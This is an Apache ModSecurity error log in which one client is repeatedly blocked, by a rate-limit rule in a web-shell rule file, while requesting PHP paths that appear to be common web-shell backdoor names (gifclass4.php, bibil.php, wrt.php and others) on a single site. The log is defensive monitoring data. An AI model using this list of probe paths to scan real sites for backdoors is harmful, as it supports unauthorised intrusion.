[Tue Mar 24 01:08:57.983897 2026] [:error] [pid 56237:tid 56329] [client 20.220.216.188:29552] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "acFzqQymO0MnzQb90MMh4wAAAIg"]
[Tue Mar 24 01:08:58.418818 2026] [:error] [pid 56435:tid 56500] [client 20.220.216.188:29340] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "acFzqsrwr-l5A-s9ryBwjQAAAQE"]
[Tue Mar 24 01:08:58.835805 2026] [:error] [pid 56238:tid 56351] [client 20.220.216.188:29487] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "acFzqlSqceFAZRgPDq6W_gAAAMM"]
[Tue Mar 24 01:08:59.250565 2026] [:error] [pid 56238:tid 56360] [client 20.220.216.188:29636] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "acFzq1SqceFAZRgPDq6XAAAAAMw"]
[Tue Mar 24 01:08:59.666662 2026] [:error] [pid 56238:tid 56352] [client 20.220.216.188:29316] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "acFzq1SqceFAZRgPDq6XBAAAAMQ"]
[Tue Mar 24 01:09:00.109154 2026] [:error] [pid 56236:tid 56301] [client 20.220.216.188:29430] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "acFzrHapFgYp0uZ8twAe_gAAAEg"]
[Tue Mar 24 01:09:00.544820 2026] [:error] [pid 56238:tid 56366] [client 20.220.216.188:29497] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "acFzrFSqceFAZRgPDq6XCgAAANI"]
[Tue Mar 24 01:09:00.992045 2026] [:error] [pid 56237:tid 56342] [client 20.220.216.188:29411] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "acFzrAymO0MnzQb90MMh6AAAAJU"]
[Tue Mar 24 01:09:01.463461 2026] [:error] [pid 56237:tid 56333] [client 20.220.216.188:29412] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "acFzrQymO0MnzQb90MMh6QAAAIw"]
[Tue Mar 24 01:09:01.878248 2026] [:error] [pid 56237:tid 56341] [client 20.220.216.188:29553] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "acFzrQymO0MnzQb90MMh6gAAAJQ"]
[Tue Mar 24 01:09:02.300698 2026] [:error] [pid 56435:tid 56517] [client 20.220.216.188:29510] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "acFzrsrwr-l5A-s9ryBwkwAAARA"]
[Tue Mar 24 01:09:02.715620 2026] [:error] [pid 56435:tid 56520] [client 20.220.216.188:29501] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "acFzrsrwr-l5A-s9ryBwlAAAARM"]
[Tue Mar 24 01:09:03.127836 2026] [:error] [pid 56435:tid 56518] [client 20.220.216.188:29357] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "acFzr8rwr-l5A-s9ryBwmAAAARE"]
[Tue Mar 24 01:09:03.561120 2026] [:error] [pid 56435:tid 56525] [client 20.220.216.188:29405] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "acFzr8rwr-l5A-s9ryBwmgAAARg"]
[Tue Mar 24 01:09:03.978064 2026] [:error] [pid 56237:tid 56327] [client 20.220.216.188:29395] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "acFzrwymO0MnzQb90MMh7gAAAIY"]
[Tue Mar 24 01:09:04.391396 2026] [:error] [pid 56236:tid 56313] [client 20.220.216.188:29511] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "acFzsHapFgYp0uZ8twAfCgAAAFQ"]
[Tue Mar 24 01:09:04.803454 2026] [:error] [pid 56237:tid 56331] [client 20.220.216.188:29312] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "acFzsAymO0MnzQb90MMh7wAAAIo"]
[Tue Mar 24 01:09:05.213133 2026] [:error] [pid 56238:tid 56370] [client 20.220.216.188:29318] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "acFzsVSqceFAZRgPDq6XDQAAANY"]
[Tue Mar 24 01:09:05.642753 2026] [:error] [pid 56435:tid 56511] [client 20.220.216.188:29406] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "acFzscrwr-l5A-s9ryBwqAAAAQs"]
[Tue Mar 24 01:09:06.055182 2026] [:error] [pid 56236:tid 56309] [client 20.220.216.188:29390] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "acFzsnapFgYp0uZ8twAfDQAAAFA"]
[Tue Mar 24 01:09:06.475685 2026] [:error] [pid 56236:tid 56293] [client 20.220.216.188:29458] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "acFzsnapFgYp0uZ8twAfEwAAAEA"]
[Tue Mar 24 01:09:06.892981 2026] [:error] [pid 56236:tid 56308] [client 20.220.216.188:29331] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "acFzsnapFgYp0uZ8twAfJQAAAE8"]
[Tue Mar 24 01:09:07.309408 2026] [:error] [pid 56237:tid 56335] [client 20.220.216.188:29422] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "acFzswymO0MnzQb90MMh-QAAAI4"]
[Tue Mar 24 01:09:07.726245 2026] [:error] [pid 56238:tid 56366] [client 20.220.216.188:29414] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "acFzs1SqceFAZRgPDq6XEgAAANI"]
[Tue Mar 24 01:09:08.149005 2026] [:error] [pid 56238:tid 56351] [client 20.220.216.188:29334] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "acFztFSqceFAZRgPDq6XFQAAAMM"]
[Tue Mar 24 01:09:08.573056 2026] [:error] [pid 56238:tid 56371] [client 20.220.216.188:29418] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2clas.php"] [unique_id "acFztFSqceFAZRgPDq6XGwAAANc"]
[Tue Mar 24 01:09:08.992093 2026] [:error] [pid 56238:tid 56370] [client 20.220.216.188:29436] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2clas.php"] [unique_id "acFztFSqceFAZRgPDq6XHAAAANY"]
[Tue Mar 24 01:09:09.411665 2026] [:error] [pid 56236:tid 56294] [client 20.220.216.188:29492] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2clas.php"] [unique_id "acFztXapFgYp0uZ8twAfLwAAAEE"]
[Tue Mar 24 01:09:09.835845 2026] [:error] [pid 56238:tid 56364] [client 20.220.216.188:29352] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2clas.php"] [unique_id "acFztVSqceFAZRgPDq6XIAAAANA"]
[Tue Mar 24 01:09:10.255309 2026] [:error] [pid 56435:tid 56507] [client 20.220.216.188:29326] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "acFztsrwr-l5A-s9ryBwtgAAAQc"]
[Tue Mar 24 01:09:10.708472 2026] [:error] [pid 56435:tid 56511] [client 20.220.216.188:29351] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "acFztsrwr-l5A-s9ryBwuAAAAQs"]
[Tue Mar 24 01:09:11.121326 2026] [:error] [pid 56238:tid 56348] [client 20.220.216.188:29358] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "acFzt1SqceFAZRgPDq6XIgAAAMA"]
[Tue Mar 24 01:09:11.564429 2026] [:error] [pid 56238:tid 56368] [client 20.220.216.188:29363] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "acFzt1SqceFAZRgPDq6XJgAAANQ"]
[Tue Mar 24 01:09:11.976351 2026] [:error] [pid 56237:tid 56336] [client 20.220.216.188:29409] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "acFztwymO0MnzQb90MMiAAAAAI8"]
[Tue Mar 24 01:09:12.387325 2026] [:error] [pid 56238:tid 56355] [client 20.220.216.188:29383] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "acFzuFSqceFAZRgPDq6XKAAAAMc"]
[Tue Mar 24 01:09:12.801546 2026] [:error] [pid 56238:tid 56362] [client 20.220.216.188:29258] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "acFzuFSqceFAZRgPDq6XKgAAAM4"]
[Tue Mar 24 01:09:13.227615 2026] [:error] [pid 56238:tid 56356] [client 20.220.216.188:29496] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "acFzuVSqceFAZRgPDq6XLQAAAMg"]
[Tue Mar 24 01:09:13.640000 2026] [:error] [pid 56236:tid 56312] [client 20.220.216.188:29494] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "acFzuXapFgYp0uZ8twAfMwAAAFM"]
[Tue Mar 24 01:09:14.050312 2026] [:error] [pid 56236:tid 56314] [client 20.220.216.188:29265] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "acFzunapFgYp0uZ8twAfNAAAAFU"]
[Tue Mar 24 01:09:14.463542 2026] [:error] [pid 56237:tid 56328] [client 20.220.216.188:29364] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "acFzugymO0MnzQb90MMiCAAAAIc"]
[Tue Mar 24 01:09:14.874334 2026] [:error] [pid 56237:tid 56322] [client 20.220.216.188:29376] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bibil.php"] [unique_id "acFzugymO0MnzQb90MMiDAAAAIE"]
[Tue Mar 24 01:09:15.291184 2026] [:error] [pid 56435:tid 56500] [client 20.220.216.188:29328] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "acFzu8rwr-l5A-s9ryBwyAAAAQE"]
[Tue Mar 24 01:09:15.711875 2026] [:error] [pid 56435:tid 56525] [client 20.220.216.188:29397] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "acFzu8rwr-l5A-s9ryBwywAAARg"]
[Tue Mar 24 01:09:16.133026 2026] [:error] [pid 56435:tid 56517] [client 20.220.216.188:29687] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "acFzvMrwr-l5A-s9ryBwzgAAARA"]
[Tue Mar 24 01:09:16.558569 2026] [:error] [pid 56435:tid 56515] [client 20.220.216.188:29319] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "acFzvMrwr-l5A-s9ryBw0gAAAQ4"]
[Tue Mar 24 01:09:16.974815 2026] [:error] [pid 56236:tid 56296] [client 20.220.216.188:29254] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "acFzvHapFgYp0uZ8twAfNwAAAEM"]
[Tue Mar 24 01:09:17.386012 2026] [:error] [pid 56236:tid 56316] [client 20.220.216.188:29659] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "acFzvXapFgYp0uZ8twAfOAAAAFc"]
[Tue Mar 24 01:09:17.803996 2026] [:error] [pid 56238:tid 56371] [client 20.220.216.188:29439] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "acFzvVSqceFAZRgPDq6XOAAAANc"]
[Tue Mar 24 01:09:18.235043 2026] [:error] [pid 56435:tid 56514] [client 20.220.216.188:29454] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/files.php"] [unique_id "acFzvsrwr-l5A-s9ryBw2wAAAQ0"]
[Tue Mar 24 01:09:18.671030 2026] [:error] [pid 56237:tid 56343] [client 20.220.216.188:29337] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "acFzvgymO0MnzQb90MMiDgAAAJY"]
[Tue Mar 24 01:09:19.082436 2026] [:error] [pid 56435:tid 56509] [client 20.220.216.188:29248] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "acFzv8rwr-l5A-s9ryBw4gAAAQk"]
[Tue Mar 24 01:09:19.496080 2026] [:error] [pid 56435:tid 56502] [client 20.220.216.188:29415] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "acFzv8rwr-l5A-s9ryBw5QAAAQM"]
[Tue Mar 24 01:09:19.909452 2026] [:error] [pid 56237:tid 56335] [client 20.220.216.188:29526] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "acFzvwymO0MnzQb90MMiEAAAAI4"]
[Tue Mar 24 01:09:20.330949 2026] [:error] [pid 56238:tid 56348] [client 20.220.216.188:29252] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "acFzwFSqceFAZRgPDq6XPgAAAMA"]
[Tue Mar 24 01:09:20.742674 2026] [:error] [pid 56238:tid 56365] [client 20.220.216.188:29327] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "acFzwFSqceFAZRgPDq6XQAAAANE"]
[Tue Mar 24 01:09:21.160505 2026] [:error] [pid 56237:tid 56338] [client 20.220.216.188:29410] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "acFzwQymO0MnzQb90MMiFAAAAJE"]
